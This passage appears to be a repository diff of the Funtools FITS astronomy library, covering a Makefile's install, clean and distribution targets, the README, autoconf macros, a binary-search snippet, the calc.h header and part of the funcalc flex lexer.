$(CC) -c $(CC_SWITCHES) -Dmain="funmerge_main" \
|
||||
-o funmerge_main.o funmerge.c
|
||||
funsky_main.o: funsky.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funsky_main" \
|
||||
-o funsky_main.o funsky.c
|
||||
|
||||
funtable_main.o: funtable.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funtable_main" \
|
||||
-o funtable_main.o funtable.c
|
||||
|
||||
funcnts.plot: funcnts_plot.tmpl
|
||||
sed -e 's#AWK#$(AWK)#g' funcnts_plot.tmpl > funcnts.plot
|
||||
chmod +x funcnts.plot
|
||||
|
||||
funhist.plot: funhist_plot.tmpl
|
||||
sed -e 's#AWK#$(AWK)#g' funhist_plot.tmpl > funhist.plot
|
||||
chmod +x funhist.plot
|
||||
|
||||
funds9: funds9.tmpl
|
||||
sed -e 's#AWK#$(AWK)#g;s#GNUPLOT#$(GNUPLOT)#g' funds9.tmpl > funds9
|
||||
chmod +x funds9
|
||||
|
||||
funtbl: funtbl.tmpl
|
||||
sed -e 's#AWK#$(AWK)#g;' funtbl.tmpl > funtbl
|
||||
chmod +x funtbl
|
||||
|
||||
funindex: funindex.tmpl
|
||||
cp -p funindex.tmpl funindex
|
||||
chmod +x funindex
|
||||
|
||||
funcnts.sed: funcnts_sed.tmpl
|
||||
cp funcnts_sed.tmpl funcnts.sed
|
||||
chmod +x funcnts.sed
|
||||
|
||||
funtools.ds9: funtools_ds9.tmpl
|
||||
sed -e 's#PRE#$(PRE)#g;s#POST#$(POST)#g;s#GUNZIP#$(GUNZIP)#g' funtools_ds9.tmpl > funtools.ds9
|
||||
|
||||
diff:
|
||||
@-(for file in "`ls *.c`"; \
|
||||
do \
|
||||
echo $$file; \
|
||||
diff /soft/saord/funtools-*/$$file .; \
|
||||
done;)
|
||||
|
||||
install:: install-binaries
|
||||
|
||||
install:: $(DOSHARED)_install
|
||||
|
||||
install::
|
||||
@for dir in $(SUBDIRS); do \
|
||||
echo " "; \
|
||||
echo Installing in $$dir ...; \
|
||||
(cd $$dir; $(MAKE) INSTALL_ROOT=$(INSTALL_ROOT) INCLUDE_INSTALL_DIR=$(INCLUDE_INSTALL_DIR) $@) ; \
|
||||
done
|
||||
|
||||
install:: install-man
|
||||
|
||||
install:: install-share
|
||||
|
||||
install:: install-data
|
||||
|
||||
FORCE:
|
||||
|
||||
# Note: before running ranlib below, must cd to target directory because
|
||||
# some ranlibs write to current directory, and this might not always be
|
||||
# possible (e.g. if installing as root).
|
||||
|
||||
# this nop-op gets executed if we are not building shared libraries
|
||||
_install:
|
||||
|
||||
shlib_install:
|
||||
@-(for i in `ls *.so* *.dylib *.sl 2>/dev/null` ; \
|
||||
do \
|
||||
if [ -h $$i ] ; then \
|
||||
echo "Installing link $$i" ; \
|
||||
tar cf - $$i | (cd $(LIB_INSTALL_DIR); tar xf -) ; \
|
||||
else \
|
||||
echo "Installing $$i" ; \
|
||||
$(INSTALL_DATA) $$i $(LIB_INSTALL_DIR)/$$i ; \
|
||||
chmod 555 $(LIB_INSTALL_DIR)/$$i; \
|
||||
fi; \
|
||||
done;)
|
||||
|
||||
install-binaries: lib $(PROGS) $(SCRIPTS) $(DS9HELPERS)
|
||||
@for i in $(LIB_INSTALL_DIR) $(INCLUDE_INSTALL_DIR) $(BIN_INSTALL_DIR) ; \
|
||||
do \
|
||||
if [ ! -d $$i ] ; then \
|
||||
echo "Making directory $$i"; \
|
||||
mkdir -p $$i; \
|
||||
chmod 755 $$i; \
|
||||
else true; \
|
||||
fi; \
|
||||
done;
|
||||
@if [ "$(LIB)" ] ; then \
|
||||
XLIB=`basename $(LIB)`; \
|
||||
echo "Installing $$XLIB"; \
|
||||
$(INSTALL_DATA) $$XLIB $(LIB_INSTALL_DIR)/$$XLIB; \
|
||||
(cd $(LIB_INSTALL_DIR); $(RANLIB) $$XLIB); \
|
||||
chmod 555 $(LIB_INSTALL_DIR)/$$XLIB; \
|
||||
fi;
|
||||
@echo "Installing funtools.h"
|
||||
@$(INSTALL_DATA) funtools.h $(INCLUDE_INSTALL_DIR)/funtools.h
|
||||
@echo "Installing funtoolsP.h"
|
||||
@$(INSTALL_DATA) funtoolsP.h $(INCLUDE_INSTALL_DIR)/funtoolsP.h
|
||||
@for i in $(PROGS) ; \
|
||||
do \
|
||||
echo "Installing $$i$(EXE)" ; \
|
||||
$(INSTALL_PROGRAM) $$i$(EXE) $(BIN_INSTALL_DIR)/$$i$(EXE) ; \
|
||||
done;
|
||||
@for i in $(SCRIPTS) ; \
|
||||
do \
|
||||
echo "Installing $$i" ; \
|
||||
$(INSTALL_PROGRAM) $$i $(BIN_INSTALL_DIR)/$$i ; \
|
||||
done;
|
||||
@for i in $(DS9HELPERS) ; \
|
||||
do \
|
||||
echo "Installing $$i" ; \
|
||||
$(INSTALL_DATA) $$i $(BIN_INSTALL_DIR)/$$i ; \
|
||||
done;
|
||||
@for i in $(FILES) ; \
|
||||
do \
|
||||
echo "Installing $$i" ; \
|
||||
$(INSTALL_DATA) $$i $(BIN_INSTALL_DIR)/$$i ; \
|
||||
done;
|
||||
|
||||
install-man:
|
||||
@if [ ! -d $(MAN_INSTALL_DIR) ] ; then \
|
||||
echo "Making directory $(MAN_INSTALL_DIR)"; \
|
||||
mkdir $(MAN_INSTALL_DIR); \
|
||||
chmod 755 $(MAN_INSTALL_DIR); \
|
||||
else true; \
|
||||
fi;
|
||||
@-(for i in `ls ./man/man?/*.?` ; \
|
||||
do \
|
||||
B=`basename $$i`; \
|
||||
E=`echo $$i | awk -F. '{print $$NF}'`; \
|
||||
M="$(MAN_INSTALL_DIR)/man$$E"; \
|
||||
if [ ! -d $$M ] ; then \
|
||||
echo "Making directory $$M"; \
|
||||
mkdir $$M; \
|
||||
chmod 755 $$M; \
|
||||
else true; \
|
||||
fi; \
|
||||
echo "Installing $$B" ; \
|
||||
$(INSTALL_DATA) $$i $$M/$$B; \
|
||||
done;)
|
||||
|
||||
install-share:
|
||||
@if [ ! -d $(MAN_SHARE_DIR) ] ; then \
|
||||
echo "Making directory $(MAN_SHARE_DIR)"; \
|
||||
mkdir -p $(MAN_SHARE_DIR); \
|
||||
chmod 755 $(MAN_SHARE_DIR); \
|
||||
else true; \
|
||||
fi;
|
||||
@-(for i in `ls ./doc/sman/fun?.*` ; \
|
||||
do \
|
||||
B=`basename $$i`; \
|
||||
echo "Installing $$B" ; \
|
||||
$(INSTALL_DATA) $$i $(MAN_SHARE_DIR)/$$B; \
|
||||
done;)
|
||||
|
||||
install-data: install-pkgconfig
|
||||
|
||||
install-pkgconfig:
|
||||
@-(mkdir -p $(LIB_INSTALL_DIR)/pkgconfig; \
|
||||
echo "Installing funtools.pc" ; \
|
||||
$(INSTALL_DATA) funtools.pc $(LIB_INSTALL_DIR)/pkgconfig;)
|
||||
|
||||
Makefile: Makefile.in
|
||||
$(SHELL) config.status
|
||||
|
||||
RM = rm -f
|
||||
|
||||
topclean:
|
||||
$(RM) *.a *.so *.so.? *.so.?.? *.o *.dylib \
|
||||
$(PROGS) tmain \
|
||||
$(SCRIPTS) $(DS9HELPERS) \
|
||||
$(DEVEL) *.exe \
|
||||
core core.[0-9]* errs *pure* .nfs* \
|
||||
foo* *~ *.log \#* TAGS *.E a.out errors \
|
||||
gmon.out *.pg *.bak \
|
||||
config.info config.log \
|
||||
doc/*~ doc/*.bak
|
||||
$(RM) -r autom4te.cache
|
||||
|
||||
binclean:
|
||||
$(RM) ./lib/* ./include/* ./bin/*
|
||||
|
||||
subclean:
|
||||
for dir in $(SUBDIRS); do \
|
||||
echo making clean in subdir $$dir ; \
|
||||
(cd $$dir; if [ -f Makefile ]; then $(MAKE) clean; fi); \
|
||||
done
|
||||
|
||||
clean: topclean binclean subclean
|
||||
|
||||
pclean:
|
||||
$(RM) $(PROGS) $(DEVEL)
|
||||
|
||||
distclean: clean
|
||||
$(RM) Makefile config.status config.cache config.log funtools.pc
|
||||
|
||||
Distclean: distclean
|
||||
for dir in $(SUBDIRS); do \
|
||||
echo making clean in $$dir ; \
|
||||
(cd $$dir; if [ -f Makefile ]; then $(MAKE) distclean; fi); \
|
||||
done
|
||||
|
||||
|
||||
depend:
|
||||
makedepend -- $(DEPEND_SWITCHES) -- $(SRCS)
|
||||
|
||||
.c.o:
|
||||
$(CC) -c $(CC_SWITCHES) $<
|
||||
|
||||
funopen.o: funopen.c funtools.h funtoolsP.h
|
||||
funparam.o: funparam.c funtools.h funtoolsP.h
|
||||
funim.o: funim.c funtools.h funtoolsP.h
|
||||
funtab.o: funtab.c funtools.h funtoolsP.h
|
||||
funcol.o: funcol.c funtools.h funtoolsP.h
|
||||
funcopy.o: funcopy.c funtools.h funtoolsP.h
|
||||
funutil.o: funutil.c funtools.h funtoolsP.h
|
||||
funview.o: funview.c funtools.h funtoolsP.h
|
||||
funwcs.o: funwcs.c funtools.h funtoolsP.h
|
||||
funinfo.o: funinfo.c funtools.h funtoolsP.h
|
||||
funimage.o: funimage.c funtools.h funtoolsP.h
|
||||
funhist.o: funhist.c funtools.h funtoolsP.h
|
||||
fundisp.o: fundisp.c funtools.h funtoolsP.h
|
||||
funhead.o: funhead.c funtools.h funtoolsP.h
|
||||
funcnts.o: funcnts.c funtools.h funtoolsP.h
|
||||
funcen.o: funcen.c funtools.h funtoolsP.h
|
||||
funcone.o: funcone.c funtools.h funtoolsP.h
|
||||
funjoin.o: funjoin.c funtools.h funtoolsP.h
|
||||
funmerge.o: funmerge.c funtools.h funtoolsP.h
|
||||
funsky.o: funsky.c funtools.h funtoolsP.h
|
||||
funtable.o: funtable.c funtools.h funtoolsP.h chandra.h
|
||||
funcalc.o: funcalc.c calc.h funtools.h funtoolsP.h
|
||||
$(CC) -c $(CC_SWITCHES) $< \
|
||||
-DFUN_INCLUDE="\"-I${prefix}/include\"" \
|
||||
-DFUNCALC_CC="$(FUNCALC_CC)" \
|
||||
-DFUNCALC_CFLAGS="$(FUNCALC_CFLAGS)" \
|
||||
-DFUN_LIB="\"-L${exec_prefix}/lib -lfuntools ${EXTRA_LIBS} -lm\""
|
||||
lex.calc.o: lex.calc.c tabcalc_c.h
|
||||
|
||||
headers: tabcalc_c.h
|
||||
tabcalc_c.h: tabcalc.c
|
||||
$(RM) tabcalc_c.h
|
||||
./inc.sed TABCALC_C < tabcalc.c > tabcalc_c.h
|
||||
|
||||
# remake the parser
|
||||
LEX = flex -Pcalc
|
||||
|
||||
parser: calc.l
|
||||
@($(LEX) calc.l; \
|
||||
sed "s/yytext_ptr/calctext_ptr/g" < lex.calc.c > nlex.calc.c; \
|
||||
mv nlex.calc.c lex.calc.c)
|
||||
|
||||
funtools.h: configure.ac
|
||||
@($(RM) -r ofuntools.h; \
|
||||
MAJOR=`echo "${VERSION}" | awk -F. '{print $$1}'`; \
|
||||
MINOR=`echo "${VERSION}" | awk -F. '{print $$2}'`; \
|
||||
PATCH=`echo "${VERSION}" | awk -F. '{print $$3}'`; \
|
||||
sed "s/^#define FUN_VERSION.*/#define FUN_VERSION \"$(VERSION)\"/;s/^#define FUN_MAJOR_VERSION.*/#define FUN_MAJOR_VERSION $${MAJOR}/;s/^#define FUN_MINOR_VERSION.*/#define FUN_MINOR_VERSION $${MINOR}/;s/^#define FUN_PATCH_LEVEL.*/#define FUN_PATCH_LEVEL $${PATCH}/;" < funtools.h > nfuntools.h; \
|
||||
mv funtools.h ofuntools.h; \
|
||||
mv nfuntools.h funtools.h)
|
||||
|
||||
|
||||
#
|
||||
# Target to create a proper FUNTOOLS distribution from information in the
|
||||
# master source directory. DISTDIR must be defined to indicate where
|
||||
# to put the distribution. DISTDIR must be an absolute path name.
|
||||
#
|
||||
|
||||
configure: configure.ac
|
||||
autoconf
|
||||
|
||||
Configure: FORCE
|
||||
@for dir in $(SUBDIRS); do \
|
||||
if [ -x $$dir/configure ]; then \
|
||||
echo " "; \
|
||||
echo Autoconf in $$dir ...; \
|
||||
(cd $$dir; autoconf) ; \
|
||||
fi; \
|
||||
done
|
||||
|
||||
Confiles:
|
||||
@(for dir in $(SUBDIRS); do \
|
||||
echo " "; \
|
||||
echo Copying configure files to $$dir ...; \
|
||||
cp -p aclocal.m4 tcl.m4 gcc33.m4 \
|
||||
conf.h.in config.sub config.guess install-sh $$dir; \
|
||||
done)
|
||||
|
||||
dist: configure
|
||||
($(RM) -r $(DISTDIR); \
|
||||
mkdir $(DISTDIR); \
|
||||
cp -p README INSTALL COPYING $(DISTDIR)/.; \
|
||||
cp -p *.c *.h *.l $(DISTDIR)/.; \
|
||||
cp -p Makefile.in $(DISTDIR)/.; \
|
||||
chmod 664 $(DISTDIR)/Makefile.in; \
|
||||
cp -p conf.h.in $(DISTDIR)/.; \
|
||||
chmod 664 $(DISTDIR)/conf.h.in; \
|
||||
cp -p configure.ac $(DISTDIR)/.; \
|
||||
chmod 644 $(DISTDIR)/configure.ac; \
|
||||
cp -p *.m4 $(DISTDIR)/.; \
|
||||
chmod 644 $(DISTDIR)/*.m4; \
|
||||
cp -p configure $(DISTDIR)/.; \
|
||||
chmod 755 $(DISTDIR)/configure; \
|
||||
cp -p config.sub config.guess $(DISTDIR)/.; \
|
||||
chmod 755 $(DISTDIR)/config.sub $(DISTDIR)/config.guess; \
|
||||
cp -p saoconfig $(DISTDIR)/.; \
|
||||
chmod 775 $(DISTDIR)/saoconfig; \
|
||||
cp -p install-sh $(DISTDIR)/.; \
|
||||
chmod +x $(DISTDIR)/install-sh; \
|
||||
cp -p funtools.pc.in $(DISTDIR)/.; \
|
||||
chmod +x $(DISTDIR)/funtools.pc.in; \
|
||||
cp -p inc.sed $(DISTDIR)/.; \
|
||||
chmod +x $(DISTDIR)/inc.sed; \
|
||||
cp -p mklib $(DISTDIR)/.; \
|
||||
chmod +x $(DISTDIR)/mklib; \
|
||||
cp -p mkfunmainlib $(DISTDIR)/.; \
|
||||
chmod +x $(DISTDIR)/mkfunmainlib; \
|
||||
cp -pR util filter fitsy wcs gnu $(DISTDIR)/.;\
|
||||
cp -pR funtest txt faq $(DISTDIR)/.;\
|
||||
cp -p $(TEMPLATES) $(DISTDIR)/.; \
|
||||
cp -p $(FILES) $(DISTDIR)/.; \
|
||||
mkdir $(DISTDIR)/doc; \
|
||||
cp -p ./doc/*.html ./doc/*.c $(DISTDIR)/doc/.; \
|
||||
cp -p ./doc/*.ps ./doc/*.pdf $(DISTDIR)/doc/.; \
|
||||
cp -p ./doc/Makefile $(DISTDIR)/doc/.; \
|
||||
cp -p ./doc/szlong.c $(DISTDIR)/doc/.; \
|
||||
mkdir $(DISTDIR)/doc/sman; \
|
||||
cp -p ./doc/sman/* $(DISTDIR)/doc/sman/.; \
|
||||
mkdir $(DISTDIR)/man; \
|
||||
cp -p -R ./man/* $(DISTDIR)/man/.)
|
||||
|
||||
release: dist
|
||||
(cd $(DISTDIR); cd ..; \
|
||||
tar cf - $(DISTNAME) | \
|
||||
gzip -9 -c > $(FTPDIR)/$(DISTNAME).tar.gz)
|
||||
|
||||
tar:
|
||||
($(RM) -r config.cache; \
|
||||
cd ..; \
|
||||
tar cf - $(DISTNAME) | gzip -9 -c > $(DISTNAME).tar.gz)
|
||||
|
||||
errcheck:
|
||||
@-egrep 'error|warning|ld:|collect2:|make:' foo | egrep -v "^lex.*but not used"
|
||||
|
||||
itar:
|
||||
(cd doc/sman; \
|
||||
tar cf - . | gzip -9 -c > ../../../$(DISTNAME)-iman.tar.gz)
|
||||
|
||||
sman:
|
||||
@(cd doc && $(MAKE) index)
|
||||
|
||||
docs:
|
||||
@(cd doc; $(MAKE))
|
||||
|
||||
untar:
|
||||
(make clean; cd ..; \
|
||||
$(RM) -r o$(DISTNAME); mv $(DISTNAME) o$(DISTNAME); \
|
||||
tar xfz $(DISTNAME).tar.gz)
|
||||
|
||||
pure: funcalc.pure funcen.pure funcnts.pure funcone.pure \
|
||||
fundisp.pure funhead.pure funimage.pure funhist.pure \
|
||||
funmerge.pure funsky.pure funtable.pure \
|
||||
funjoin.pure
|
||||
|
||||
funcen.pure: lib funcen.o
|
||||
purify $(CC) $(LDFLAGS) funcen.o -o funcen.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funcnts.pure: lib funcnts.o
|
||||
purify $(CC) $(LDFLAGS) funcnts.o -o funcnts.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funcone.pure: lib funcone.o
|
||||
purify $(CC) $(LDFLAGS) funcone.o -o funcone.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
fundisp.pure: lib fundisp.o
|
||||
purify $(CC) $(LDFLAGS) fundisp.o -o fundisp.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funhead.pure: lib funhead.o
|
||||
purify $(CC) $(LDFLAGS) funhead.o -o funhead.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funsky.pure: lib funsky.o
|
||||
purify $(CC) $(LDFLAGS) funsky.o -o funsky.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funtable.pure: lib funtable.o
|
||||
purify $(CC) $(LDFLAGS) funtable.o -o funtable.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funimage.pure: lib funimage.o
|
||||
purify $(CC) $(LDFLAGS) funimage.o -o funimage.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funhist.pure: lib funhist.o
|
||||
purify $(CC) $(LDFLAGS) funhist.o -o funhist.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funjoin.pure: lib funjoin.o
|
||||
purify $(CC) $(LDFLAGS) funjoin.o -o funjoin.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funmerge.pure: lib funmerge.o
|
||||
purify $(CC) $(LDFLAGS) funmerge.o -o funmerge.pure \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funcalc.pure: lib funcalc.o lex.calc.o
|
||||
purify $(CC) $(LDFLAGS) funcalc.o lex.calc.o \
|
||||
-o funcalc.pure $(LLIB) $(LIBS)
|
||||
|
||||
# DO NOT DELETE THIS LINE -- make depend depends on it.
|
|
@ -0,0 +1,27 @@
|
|||
Funtools is a "minimal buy-in" FITS library and utility package
|
||||
originally developed at the the High Energy Astrophysics Division of
|
||||
SAO. Although no longer actively supported at SAO, it is still widely
|
||||
used within the astronomical community, especially among X-ray astronomers.
|
||||
|
||||
The Funtools library provides simplified access to a wide array
|
||||
of file types: standard astronomical FITS images and binary tables,
|
||||
raw arrays and binary event lists, and even tables of ASCII column
|
||||
data. A sophisticated region filtering library (compatible with ds9)
|
||||
filters images and tables using Boolean operations between geometric
|
||||
shapes, support world coordinates, etc. Funtools also supports
|
||||
advanced capabilities such as optimized data searching using index files.
|
||||
|
||||
Because Funtools consists of a library and a set of user programs, it
|
||||
is most appropriately built from source. Funtools has been ported to
|
||||
Solaris, Linux, Mac OSX (Darwin) and Windows 98/NT/2000/XP. Once the
|
||||
source code tar file is retrieved, Funtools can be built and installed
|
||||
easily using standard commands:
|
||||
|
||||
./mkconfigure # generate all configure scripts
|
||||
./configure --prefix=[installdir] # configuration
|
||||
make # build the software
|
||||
make install # install in [installdir]
|
||||
|
||||
See the INSTALL instructions (which are based on standard instructions
|
||||
for building software using GNU configure) for more information about
|
||||
building Funtools.
|
|
@ -0,0 +1,36 @@
|
|||
##### http://autoconf-archive.cryp.to/ac_c_long_long.html
|
||||
#
|
||||
# SYNOPSIS
|
||||
#
|
||||
# AC_C_LONG_LONG
|
||||
#
|
||||
# DESCRIPTION
|
||||
#
|
||||
# Provides a test for the existance of the long long int type and
|
||||
# defines HAVE_LONG_LONG if it is found.
|
||||
#
|
||||
# LAST MODIFICATION
|
||||
#
|
||||
# 2006-10-30
|
||||
#
|
||||
# COPYLEFT
|
||||
#
|
||||
# Copyright (c) 2006 Caolan McNamara <caolan@skynet.ie>
|
||||
#
|
||||
# Copying and distribution of this file, with or without
|
||||
# modification, are permitted in any medium without royalty provided
|
||||
# the copyright notice and this notice are preserved.
|
||||
|
||||
AC_DEFUN([AC_C_LONG_LONG],
|
||||
[AC_CACHE_CHECK(for long long int, ac_cv_c_long_long,
|
||||
[if test "$GCC" = yes; then
|
||||
ac_cv_c_long_long=yes
|
||||
else
|
||||
AC_TRY_COMPILE(,[long long int i;],
|
||||
ac_cv_c_long_long=yes,
|
||||
ac_cv_c_long_long=no)
|
||||
fi])
|
||||
if test $ac_cv_c_long_long = yes; then
|
||||
AC_DEFINE(HAVE_LONG_LONG, 1, [compiler understands long long])
|
||||
fi
|
||||
])
|
|
@ -0,0 +1,2 @@
|
|||
builtin(include,tcl.m4)
|
||||
builtin(include,ac_c_long_long.m4)
|
|
@ -0,0 +1,68 @@
|
|||
/* http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary */
|
||||
|
||||
/* returns first target if more than one have same value */
|
||||
static public int search(int [] array, int target)
|
||||
{
|
||||
int high = array.length, low = -1, probe;
|
||||
while (high - low > 1)
|
||||
{
|
||||
probe = (high + low) / 2;
|
||||
if (array[probe] < target)
|
||||
low = probe;
|
||||
else
|
||||
high = probe;
|
||||
}
|
||||
if (high == array.length || array[high] != target)
|
||||
return -1;
|
||||
else
|
||||
return high;
|
||||
}
|
||||
|
||||
/* returns last target if more than one have same value */
|
||||
static public int search2(int [] array, int target)
|
||||
{
|
||||
int high = array.length, low = -1, probe;
|
||||
while (high - low > 1)
|
||||
{
|
||||
probe = (high + low) / 2;
|
||||
if (array[probe] > target)
|
||||
high = probe;
|
||||
else
|
||||
low = probe;
|
||||
}
|
||||
if (low == -1 || array[low] != target)
|
||||
return -1;
|
||||
else
|
||||
return low;
|
||||
}
|
||||
|
||||
static public int [] range(int [] array, int floor, int ceiling)
|
||||
{
|
||||
int [] answer = new int[2];
|
||||
int high, low, probe;
|
||||
|
||||
// work on floor
|
||||
high = array.length; low = -1;
|
||||
while (high - low > 1)
|
||||
{
|
||||
probe = (high + low) / 2;
|
||||
if (array[probe] < floor)
|
||||
low = probe;
|
||||
else
|
||||
high = probe;
|
||||
}
|
||||
answer[0] = low;
|
||||
|
||||
// work on ceiling
|
||||
high = array.length; low = -1;
|
||||
while (high - low > 1)
|
||||
{
|
||||
probe = (high + low) / 2;
|
||||
if (array[probe] > ceiling)
|
||||
high = probe;
|
||||
else
|
||||
low = probe;
|
||||
}
|
||||
answer[1] = high;
|
||||
return answer;
|
||||
}
|
|
@ -0,0 +1,36 @@
|
|||
/*
|
||||
* Copyright (c) 1999-2003 Smithsonian Astrophysical Observatory
|
||||
*/
|
||||
|
||||
/*
|
||||
*
|
||||
* calc.h
|
||||
*
|
||||
*/
|
||||
#ifndef __funcalc_h
|
||||
#define __funcalc_h
|
||||
|
||||
#include <prsetup.h>
|
||||
|
||||
#ifndef FUNCALC_CC
|
||||
#define FUNCALC_CC NULL
|
||||
#endif
|
||||
|
||||
#ifndef FUNCALC_CFLAGS
|
||||
#define FUNCALC_CFLAGS NULL
|
||||
#endif
|
||||
|
||||
/* places to look for the compiler other than user's path */
|
||||
#define FUNCALC_PATH "/opt/SUNWspro/bin:/bin:/usr/bin:/usr/local/bin/:/opt/local/bin:"
|
||||
|
||||
#define DEFAULT_FUNCALC_TMPDIR "/tmp"
|
||||
#define FUNCALC_SED "funcalc.sed"
|
||||
|
||||
/* library declarations */
|
||||
_PRbeg
|
||||
|
||||
void _CalcCat _PRx((char *str, char **ostr, int *olen));
|
||||
|
||||
_PRend
|
||||
|
||||
#endif /* __funtools.h */
|
|
@ -0,0 +1,802 @@
|
|||
%option caseless
|
||||
%array
|
||||
|
||||
%{
|
||||
#include <ctype.h>
|
||||
#include <funtoolsP.h>
|
||||
#include <macro.h>
|
||||
#include <calc.h>
|
||||
#include <tabcalc_c.h>
|
||||
|
||||
/* define the types of event records we have to handle */
|
||||
#define REC_CUR 1
|
||||
#define REC_PREV 2
|
||||
#define REC_NEXT 4
|
||||
|
||||
/* misc */
|
||||
#define MAX_INCLUDE_DEPTH 100
|
||||
#define SEGINC 1024
|
||||
#define MAXCODE 4
|
||||
|
||||
/* symbols for each column we encounter */
|
||||
typedef struct calccoltab {
|
||||
struct calccoltab *next;
|
||||
char *name;
|
||||
char *sname;
|
||||
char *cname;
|
||||
char *tdim;
|
||||
int type;
|
||||
int n;
|
||||
double tlmin;
|
||||
double tlmax;
|
||||
double binsiz;
|
||||
double tscale;
|
||||
double tzero;
|
||||
int scaled;
|
||||
int exists;
|
||||
int settype;
|
||||
} *CalcCols, CalcColRec;
|
||||
|
||||
static YY_BUFFER_STATE include_stack[MAX_INCLUDE_DEPTH];
|
||||
static int include_stack_ptr = 0;
|
||||
static Fun ifun;
|
||||
static CalcCols columns;
|
||||
static int laststart;
|
||||
|
||||
static char *prog;
|
||||
static char *command;
|
||||
static char *autodeclare;
|
||||
static char *mbuf;
|
||||
static int mlen;
|
||||
static int n;
|
||||
static int var;
|
||||
static int rectype;
|
||||
static int args;
|
||||
static int doreplace=0;
|
||||
|
||||
static char *code[MAXCODE];
|
||||
static char *expr;
|
||||
static char **strptr=&expr;
|
||||
static int ncode[MAXCODE];
|
||||
static int nexpr;
|
||||
static int xnl;
|
||||
static int *lenptr=&nexpr;
|
||||
|
||||
static void setn _PRx((int newn));
|
||||
static char *_CalcMake _PRx((void));
|
||||
static int _CalcColProc _PRx((char *s, int expl));
|
||||
static int _CalcColName _PRx((char *sname));
|
||||
static CalcCols _CalcColNew _PRx((Fun fun,
|
||||
char *name, char *sname, char *cname,
|
||||
int type, int n,
|
||||
double tlmin, double tlmax, double binsiz,
|
||||
double tscale, double tzero, int scaled,
|
||||
int exists, int settype));
|
||||
static CalcCols _CalcColLookup _PRx((char *cname));
|
||||
|
||||
int _calcerror _PRx((char *msg));
|
||||
%}
|
||||
|
||||
DIG [0-9]
|
||||
DIG2 [0-9a-fA-F]
|
||||
BINARY 0[bB][01]+
|
||||
INT1 [-+]?{DIG}+L?
|
||||
INT2 [-+]?0[xX]{DIG2}+L?
|
||||
INT ({INT1}|{INT2})
|
||||
FLOAT1 [-+]?{DIG}+\.?([eE][-+]?{DIG}+)?
|
||||
FLOAT2 [-+]?{DIG}*\.{DIG}+([eE][-+]?{DIG}+)?
|
||||
FLOAT ({FLOAT1}|{FLOAT2})
|
||||
NUM ({INT}|{FLOAT})
|
||||
|
||||
SNAME (cur|prev|next)
|
||||
NAME [A-Za-z~_][0-9A-Za-z~_]*(\[[0-9]+\])?
|
||||
TYPE (\[{INT}\])?(:{NUM}?[a-z]?){1,4}
|
||||
COL {SNAME}->{NAME}{TYPE}?
|
||||
ECOL explicit
|
||||
FILE @[0-9A-Za-z~_/\-\.]*(\[.*\])?
|
||||
VAR [ \t]*(char|short|int|float|double)
|
||||
INCL ^#[\t ]*include[ \t]*(\".*\"|<.*>)
|
||||
DEF ^#[\t ]*define[ \t]+.*
|
||||
XCOM #
|
||||
BCOM "/*"
|
||||
ECOM "*/"
|
||||
|
||||
%x INCLUDE
|
||||
%x VAR
|
||||
%x COM
|
||||
%x XCOM
|
||||
%x ECOL
|
||||
%%
|
||||
|
||||
global { setn(0); var = 0; }
|
||||
local { setn(1); var = 0; }
|
||||
before { setn(2); var = 0; }
|
||||
after { setn(3); var = 0; }
|
||||
end { setn(-1); var = 0; }
|
||||
|
||||
{FILE} {
|
||||
char *s;
|
||||
if ( include_stack_ptr >= MAX_INCLUDE_DEPTH )
|
||||
_calcerror("include files are nested too deeply");
|
||||
if( !(s = (char *)FileContents(yytext+1, 0, NULL)) )
|
||||
_calcerror("can't access include file");
|
||||
else {
|
||||
include_stack[include_stack_ptr++] = YY_CURRENT_BUFFER;
|
||||
BEGIN INITIAL; yy_scan_string(s); BEGIN INITIAL;
|
||||
if( s ) xfree(s);
|
||||
}
|
||||
}
|
||||
|
||||
{VAR} {
|
||||
if( var ){ BEGIN VAR; setn(1); }
|
||||
_CalcCat(yytext, strptr, lenptr);
|
||||
}
|
||||
<VAR>; {
|
||||
_CalcCat(yytext, strptr, lenptr);
|
||||
_CalcCat("\n", strptr, lenptr);
|
||||
if( var ){ BEGIN INITIAL; setn(-1); }
|
||||
}
|
||||
<VAR>. { _CalcCat(yytext, strptr, lenptr); }
|
||||
|
||||
{INCL} { _CalcCat(yytext, strptr, lenptr); }
|
||||
|
||||
{DEF} { _CalcCat(yytext, strptr, lenptr); }
|
||||
|
||||
^[ \t]*{XCOM} { laststart = YY_START; xnl=0; BEGIN XCOM; }
|
||||
{XCOM} { laststart = YY_START; xnl=1; BEGIN XCOM; }
|
||||
<XCOM>\n { BEGIN laststart; if( xnl ) unput('\n'); }
|
||||
<XCOM>. { /* ignore comments up to eol */ ; }
|
||||
|
||||
{BCOM} {
|
||||
_CalcCat(yytext, strptr, lenptr);
|
||||
laststart = YY_START; BEGIN COM;
|
||||
}
|
||||
<COM>{ECOM} { _CalcCat(yytext, strptr, lenptr); BEGIN laststart; }
|
||||
<COM>\n { _CalcCat(yytext, strptr, lenptr); }
|
||||
<COM>. { _CalcCat(yytext, strptr, lenptr); }
|
||||
|
||||
{COL} { _CalcColProc(yytext, 0); var=0;}
|
||||
|
||||
{ECOL} { laststart = YY_START; BEGIN ECOL; }
|
||||
<ECOL>{NAME} { _CalcColProc(yytext, 1); var=0; }
|
||||
<ECOL>[, \t] { ; }
|
||||
<ECOL>\n { BEGIN laststart; }
|
||||
|
||||
\n { _CalcCat(yytext, strptr, lenptr);}
|
||||
|
||||
[ \t]* { _CalcCat(yytext, strptr, lenptr);}
|
||||
|
||||
. { _CalcCat(yytext, strptr, lenptr); var=0;}
|
||||
|
||||
<<EOF>> {
|
||||
if ( --include_stack_ptr < 0 ){
|
||||
prog = _CalcMake();
|
||||
yy_delete_buffer( YY_CURRENT_BUFFER );
|
||||
yyterminate();
|
